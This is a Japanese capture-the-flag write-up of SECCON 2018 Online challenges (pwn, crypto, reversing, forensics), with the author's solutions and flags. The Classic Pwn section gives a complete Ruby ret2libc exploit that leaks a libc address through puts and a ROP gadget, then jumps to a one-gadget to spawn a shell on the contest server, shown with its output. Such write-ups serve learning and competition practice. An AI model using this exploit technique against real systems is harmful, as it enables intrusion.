チームnicklegrで個人参加。
631点で122位(653チーム中)でした。
Classic Pwn (Pwn)
入力にgetsを使ってるのでスタックを自由に壊せる。
libc_baseをリークしてからmainに飛ばし、2周目でOne-gadget-rceに飛ばせばいい。
…と簡単に書いたけど、Pwn慣れしてなくて2時間半くらいかかった。でも本番中にPwnが解けてうれしい。
return addressまでのoffsetは72byte
$ gdb classic
gdb-peda$ pattc 256
gdb-peda$ r <<< 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G'
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffddc8 ("IAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G")
One-gadget-rceを探すと、下記の3つ
- 4526a (if [rsp+0x30] == 0)
- f02a4 (if [rsp+0x50] == 0)
- f1147 (if [rsp+0x70] == 0)
$ strings -tx libc-2.23.so | grep /bin/sh
18cd57 /bin/sh
$ objdump -M intel -d libc-2.23.so | grep 18cd57 -A 8 -B 8 | grep execve -B 8
4526a: 48 8b 05 47 ec 37 00 mov rax,QWORD PTR [rip+0x37ec47] # 3c3eb8 <_IO_file_jumps+0x7d8>
45271: 48 8d 3d df 7a 14 00 lea rdi,[rip+0x147adf] # 18cd57 <_libc_intl_domainname+0x197>
45278: 48 8d 74 24 30 lea rsi,[rsp+0x30]
4527d: c7 05 19 12 38 00 00 mov DWORD PTR [rip+0x381219],0x0 # 3c64a0 <__abort_msg+0x8c0>
45284: 00 00 00
45287: c7 05 13 12 38 00 00 mov DWORD PTR [rip+0x381213],0x0 # 3c64a4 <__abort_msg+0x8c4>
4528e: 00 00 00
45291: 48 8b 10 mov rdx,QWORD PTR [rax]
45294: e8 d7 74 08 00 call cc770 <execve>
--
f028f: 48 8d 3d f1 e3 09 00 lea rdi,[rip+0x9e3f1] # 18e687 <_libc_intl_domainname+0x1ac7>
f0296: e8 65 9a f4 ff call 39d00 <unsetenv>
f029b: 8b 7c 24 40 mov edi,DWORD PTR [rsp+0x40]
f029f: e8 3c 76 00 00 call f78e0 <__close>
f02a4: 48 8b 05 0d 3c 2d 00 mov rax,QWORD PTR [rip+0x2d3c0d] # 3c3eb8 <_IO_file_jumps+0x7d8>
f02ab: 48 8d 74 24 50 lea rsi,[rsp+0x50]
f02b0: 48 8d 3d a0 ca 09 00 lea rdi,[rip+0x9caa0] # 18cd57 <_libc_intl_domainname+0x197>
f02b7: 48 8b 10 mov rdx,QWORD PTR [rax]
f02ba: e8 b1 c4 fd ff call cc770 <execve>
--
f1132: 48 8d 3d 4e d5 09 00 lea rdi,[rip+0x9d54e] # 18e687 <_libc_intl_domainname+0x1ac7>
f1139: e8 c2 8b f4 ff call 39d00 <unsetenv>
f113e: 8b 7c 24 60 mov edi,DWORD PTR [rsp+0x60]
f1142: e8 99 67 00 00 call f78e0 <__close>
f1147: 48 8b 05 6a 2d 2d 00 mov rax,QWORD PTR [rip+0x2d2d6a] # 3c3eb8 <_IO_file_jumps+0x7d8>
f114e: 48 8d 74 24 70 lea rsi,[rsp+0x70]
f1153: 48 8d 3d fd bb 09 00 lea rdi,[rip+0x9bbfd] # 18cd57 <_libc_intl_domainname+0x197>
f115a: 48 8b 10 mov rdx,QWORD PTR [rax]
f115d: e8 0e b6 fd ff call cc770 <execve>
実はx64のPwnは初挑戦。puts()
に引数を渡すためにpop rdi
ガジェットが必要らしい。
$ rp-lin-x64 -f classic --rop=1 --unique
You decided to keep only the unique ones, 34 unique gadgets found.
...
0x00400753: pop rdi ; ret ; (1 found)
...
というわけで
require "pp"
require_relative "pwnlib"
def p64(a)
[a].pack("Q<")
end
def u64(a)
a.unpack("Q<")[0]
end
plt_puts = 0x400520
got_puts = 0x601018
main = 0x4006a9
libc_offset_puts = 0x6f690
# gadgets
pop_rdi = 0x400753
# one_gadget_rce = 0x4526a # if [rsp+0x30] == 0
one_gadget_rce = 0xf02a4 # if [rsp+0x50] == 0
# one_gadget_rce = 0xf1147 # if [rsp+0x70] == 0
PwnTube.open("classic.pwn.seccon.jp", 17354) do |t|
# leak libc_base & return to main
payload = "A" * 72 +
p64(pop_rdi) + # puts(got_puts)
p64(got_puts) +
p64(plt_puts) +
p64(main) # main()
t.recv_until("Local Buffer >> ")
t.sendline(payload)
t.recv_until("Have a nice pwn!!\n")
leak = t.recv_until("\n")
pp leak
leak_addr = leak.rstrip.ljust(8, "\x00")
libc_base = u64(leak_addr) - libc_offset_puts
puts "[+] leak_addr = 0x#{u64(leak_addr).to_s(16)}"
puts "[+] libc_base = 0x#{libc_base.to_s(16)}"
# call one gadget rce
payload2 = "A" * 72 +
p64(libc_base + one_gadget_rce)
t.recv_until("Local Buffer >> ")
t.sendline(payload2)
t.recv_until("Have a nice pwn!!\n")
t.shell
end
$ ruby main.rb
[*] connected
"\x906\xDCP\x8D\x7F\n"
[+] leak_addr = 0x7f8d50dc3690
[+] libc_base = 0x7f8d50d54000
[*] waiting for shell...
[*] interactive mode
ls -l
total 16
-rwxr-x--- 1 root classic 8872 Oct 23 02:37 classic
-rw-r----- 1 root classic 44 Oct 23 02:37 flag.txt
cat flag.txt
SECCON{w4rm1ng_up_by_7r4d1710n4l_73chn1qu3}
わーい
SECCON{w4rm1ng_up_by_7r4d1710n4l_73chn1qu3}
Boguscrypt (Crypto)
$ ls -l
total 73
-rwxrwx--- 1 root vboxsf 33926 10月 26 22:33 challenge.pcap
-rwxrwx--- 1 root vboxsf 7845 10月 26 22:33 dec
-rwxrwx--- 1 root vboxsf 46 10月 26 22:33 flag.txt.encrypted
pcapを眺めると、妙なDNSクエリが
Frame 43: 185 bytes on wire (1480 bits), 185 bytes captured (1480 bits)
Ethernet II, Src: Vmware_e4:8f:b5 (00:0c:29:e4:8f:b5), Dst: Vmware_35:99:09 (00:0c:29:35:99:09)
Internet Protocol Version 4, Src: 192.168.108.129, Dst: 192.168.108.136
User Datagram Protocol, Src Port: 53, Dst Port: 41624
Domain Name System (response)
[Request In: 41]
[Time: 0.000230000 seconds]
Transaction ID: 0x7079
Flags: 0x8580 Standard query response, No error
Questions: 1
Answer RRs: 1
Authority RRs: 1
Additional RRs: 2
Queries
2.0.0.127.in-addr.arpa: type PTR, class IN
Answers
2.0.0.127.in-addr.arpa: type PTR, class IN, cur10us4ndl0ngh0stn4m3
Authoritative nameservers
127.in-addr.arpa: type NS, class IN, ns localhost
Additional records
localhost: type A, class IN, addr 127.0.0.1
localhost: type AAAA, class IN, addr ::1
2.0.0.127.in-addr.arpa: type PTR, class IN, cur10us4ndl0ngh0stn4m3
cur10us4ndl0ngh0stn4m3 -> curious and long hostname
ふむん
$ ./dec
Key?:cur10us4ndl0ngh0stn4m3
gethostbyaddr: Host name lookup failure
じゃあ/etc/hosts
に下記を足す
127.0.0.2 cur10us4ndl0ngh0stn4m3
$ ./dec
Key?:cur10us4ndl0ngh0stn4m3
$ ls -l
total 73
-rwxrwx--- 1 root vboxsf 33926 10月 26 22:33 challenge.pcap
-rwxrwx--- 1 root vboxsf 7845 10月 26 22:33 dec
-rwxrwx--- 1 root vboxsf 46 10月 28 11:44 flag.txt
-rwxrwx--- 1 root vboxsf 46 10月 26 22:33 flag.txt.encrypted
$ cat flag.txt
SECCON{This flag is encoded by bogus routine}
SECCON{This flag is encoded by bogus routine}
Runme (Reversing)
Ollydbgでステップ実行すると、コマンドラインと一文字ずつ比較して間違ってたら終了する。
比較してる値はPUSH <即値>
で一文字ずつスタックに積まれている。
というわけで
$ grep -e 'PUSH [0-9A-F][0-9A-F]$' runme.asm > runme_flag.asm
00401054 |. 6A 43 PUSH 43
00401080 |. 6A 3A PUSH 3A
004010AC |. 6A 5C PUSH 5C
004010D8 |. 6A 54 PUSH 54
00401104 |. 6A 65 PUSH 65
00401130 |. 6A 6D PUSH 6D
0040115C |. 6A 70 PUSH 70
00401188 |. 6A 5C PUSH 5C
...
これをかき集めて
hex = "433A5C54656D705C534543434F4E323031384F6E6C696E652E6578652220534543434F4E7B52756E6E316E365F503437687D"
puts [hex].pack("H*")
C:\Temp\SECCON2018Online.exe" SECCON{Runn1n6_P47h}
Unzip (Forensics)
echo 'SECCON{'`cat key`'}' > flag.txt
zip -e --password=`perl -e "print time()"` flag.zip flag.txt
このファイルのタイムスタンプは2018年10月27日 0:10:06。じゃあそこら辺を総当たり
center = 1540566606
(center-100 .. center+100).each do |i|
puts i
result = `unzip -P #{i} flag.zip`
end
実行すると
1540566506
skipping: flag.txt incorrect password
1540566507
skipping: flag.txt incorrect password
...
1540566527
error: invalid compressed data to inflate
...
1540566641
replace flag.txt? [y]es, [n]o, [A]ll, [N]one, [r]ename: y
ここで止めたら解凍できた。
正解は2018年10月27日 0:10:41。ああ、flag.zipのタイムスタンプでいいのか。
SECCON{We1c0me_2_SECCONCTF2o18}
History (Forensics)
- 問題文 "History Check changed filename"
- ファイル名が"J"
- バイナリダンプするとWindowsのシステムファイル名っぽいのがいろいろ
なので、NTFSのジャーナル領域?
https://github.com/PoorBillionaire/USN-Journal-Parser でパースできた。
$ usn.py -f J -o J.txt
$ grep RENAME J.txt
...
2018-09-29 07:51:24.557945 | SEC.txt | ARCHIVE | RENAME_OLD_NAME
2018-09-29 07:51:24.557945 | CON{.txt | ARCHIVE | RENAME_NEW_NAME
2018-09-29 07:51:24.557945 | CON{.txt | ARCHIVE | RENAME_NEW_NAME CLOSE
2018-09-29 07:52:22.779984 | CON{.txt | ARCHIVE | RENAME_OLD_NAME
2018-09-29 07:52:22.779984 | F0r.txt | ARCHIVE | RENAME_NEW_NAME
2018-09-29 07:52:22.779984 | F0r.txt | ARCHIVE | RENAME_NEW_NAME CLOSE
2018-09-29 07:52:26.330582 | WmiApRpl_new.h | ARCHIVE | RENAME_OLD_NAME
2018-09-29 07:52:26.330582 | WmiApRpl.h | ARCHIVE | RENAME_NEW_NAME
2018-09-29 07:52:26.330582 | WmiApRpl.h | ARCHIVE | RENAME_NEW_NAME CLOSE
2018-09-29 07:52:26.330582 | WmiApRpl_new.ini | ARCHIVE | RENAME_OLD_NAME
2018-09-29 07:52:26.330582 | WmiApRpl.ini | ARCHIVE | RENAME_NEW_NAME
2018-09-29 07:52:26.330582 | WmiApRpl.ini | ARCHIVE | RENAME_NEW_NAME CLOSE
2018-09-29 07:52:53.691992 | F0r.txt | ARCHIVE | RENAME_OLD_NAME
2018-09-29 07:52:53.691992 | ensic.txt | ARCHIVE | RENAME_NEW_NAME
2018-09-29 07:52:53.691992 | ensic.txt | ARCHIVE | RENAME_NEW_NAME CLOSE
2018-09-29 07:53:08.622816 | ensic.txt | ARCHIVE | RENAME_OLD_NAME
2018-09-29 07:53:08.622816 | s.txt | ARCHIVE | RENAME_NEW_NAME
2018-09-29 07:53:08.622816 | s.txt | ARCHIVE | RENAME_NEW_NAME CLOSE
2018-09-29 07:54:24.492611 | s.txt | ARCHIVE | RENAME_OLD_NAME
2018-09-29 07:54:24.492611 | _usnjrnl.txt | ARCHIVE | RENAME_NEW_NAME
2018-09-29 07:54:24.492611 | _usnjrnl.txt | ARCHIVE | RENAME_NEW_NAME CLOSE
2018-09-29 07:54:38.376635 | _usnjrnl.txt | ARCHIVE | RENAME_OLD_NAME
2018-09-29 07:54:38.376635 | 2018}.txt | ARCHIVE | RENAME_NEW_NAME
2018-09-29 07:54:38.376635 | 2018}.txt | ARCHIVE | RENAME_NEW_NAME CLOSE
SECCON{F0rensics_usnjrnl2018}
block (Reversing)
解けなかった。
Unityアプリ。実行するとフラグが書いてある板がグルグル回ってる。一部がキューブに隠れて見えない。
https://github.com/DerPopo/UABE でリソースを調べると、テクスチャに画像で描いてあるようなので抽出。
SECCON{Y0U_4R3_34CH+3R?}
Incorrect. あれ?
運営に聞いてみる。
00:33 (nicklegr) @seccon-admin flag check of block is correct?
00:33 (nicklegr) may be I got valid flag
00:36 (seccon-admin) About Reversing challenge "block" :Real answer flag is not easy to get it, if your post flag is incorrect, it is not real one. Please try to analyze more .sorry for confusing this challenge.
フェイクかーい。もっと分かりやすく書いてくれ
問題文が"BREAK THE BLOCK!"なので、キューブを非表示にすればいいんだろうか。
UABEのExport DumpでMeshRendererのリソースをダンプして、下記のように書き換える。
0 bool m_Enabled = false
Import DumpしてSave。
level0かsharedassets0.assetsのどっちかが変更されるので、差し替えてapkをリパック。
> apktool b block -o block_patched.apk
-c を付けると古い署名がコピーされるのでダメ
> jarsigner -verbose -sigalg SHA256withRSA -digestalg SHA1 -tsa http://timestamp.digicert.com -keystore key\debug.keystore -storepass android block_patched.apk androiddebugkey
キューブは消えてフラグが見えたけど、他には何も出てこない。
Skyboxを指してるんだろうか。
0 PPtr<Material> m_SkyboxMaterial
0 int m_FileID = 0
0 SInt64 m_PathID = 0
これでSkyboxも消せるが、やはり何も出てこない。
これ以上は思いつかず。
追記: キューブを消した画面をよく見たらちゃんと正しいフラグが表示されてる。ぱっと見同じなので気づかなかった。詰めが甘かった…
SECCON{4R3_Y0U_CH34+3R?}
他の方のWriteup
- 公式まとめスプレッドシート(どなたでも追記・修正できます)
- http://hakatashi.hatenadiary.com/entry/2018/10/28/211034
- http://lcstmarck.hatenablog.com/entry/2018/10/30/001608
- http://moraprogramming.hateblo.jp/entry/2018/10/30/012235
- http://ywkw1717.hatenablog.com/entry/2018/10/28/185936
- https://0xiso.hatenablog.com/entry/2018/10/28/215226
- https://blog.yuu26.com/entry/20181028/1540714564
- https://castaneai.hatenablog.com/entry/2018/10/28/155146
- https://castaneai.hatenablog.com/entry/2018/10/28/163903
- https://cookies.hatenablog.jp/entry/2018/10/28/184145
- https://furutsuki.hatenablog.com/entry/2018/10/28/153125
- https://github.com/Hibari-K/CTF_Writeup/tree/master/Special_Instructions
- https://github.com/sajjadium/ctf-writeups/tree/master/SECCON/2018/classic
- https://github.com/teatime13/search_movie_diff
- https://graneed.hatenablog.com/entry/2018/10/28/150722
- https://graneed.hatenablog.com/entry/2018/10/28/150839
- https://graneed.hatenablog.com/entry/2018/10/28/174154
- https://hikalium.hatenablog.jp/entry/2018/10/28/164812
- https://k-sato.hatenablog.com/entry/2018/10/30/025658
- https://kanpapa.com/today/2018/10/seccon-2018-online-ctf-write-up.html
- https://kusuwada.hatenablog.com/entry/2018/10/28/151452
- https://pastebin.com/38xngUWJ
- https://pastebin.com/9BvGiVE9
- https://pastebin.com/FF7Usepa
- https://pastebin.com/hgKEYXQC
- https://ptr-yudai.hatenablog.com/entry/2018/10/28/210950
- https://qiita.com/__dAi00/items/c64db20e8ee0af2fead9
- https://qiita.com/deko2369/items/85c98d71d13f5d6e95f9
- https://qiita.com/DoranekoSystems/items/f2fd95fb9ff4ddea369f
- https://qiita.com/karma0106/items/127cc210682e7300c3e9
- https://qiita.com/kusano_k/items/2ec7eb22d8c556262724
- https://qiita.com/szk3y/items/c8ae586b53699fbfb668
- https://raintrees.net/news/129
- https://st98.github.io/diary/posts/2018-10-28-seccon-2018-online-ctf.html
- https://twitter.com/DoranekoSystems/status/1056629100817743874
- https://twitter.com/h3ph4est7s/status/1056687105521475586
- https://twitter.com/lly_japan/status/1056600035243085824
- https://twitter.com/lly_japan/status/1056601820649349120
- https://twitter.com/mjtakenon/status/1056430141277036546
- https://twitter.com/phi16_/status/1056429192282132480
- https://twitter.com/st98_/status/1056427634572185600
- https://twitter.com/takahoyo/status/1056434169088069632
- https://twitter.com/xrekkusu/status/1056452845426237442
- https://xkenya31x.blogspot.com/2018/10/seccon-ctf-2018-online-boguscrypt.html
- https://xkenya31x.blogspot.com/2018/10/seccon-ctf-2018-online-unzip.html
- https://graneed.hatenablog.com/entry/2018/11/01/003456
- http://yuta1024.hateblo.jp/entry/2018/11/01/215302
- https://garasubo.github.io/hexo/2018/10/31/seccon.html
- https://techblog.securesky-tech.com/entry/2018/10/31/2
- http://kotarou777775.hatenablog.com/entry/2018/11/02/225602
- http://shift-crops.hatenablog.com/entry/2018/11/05/042149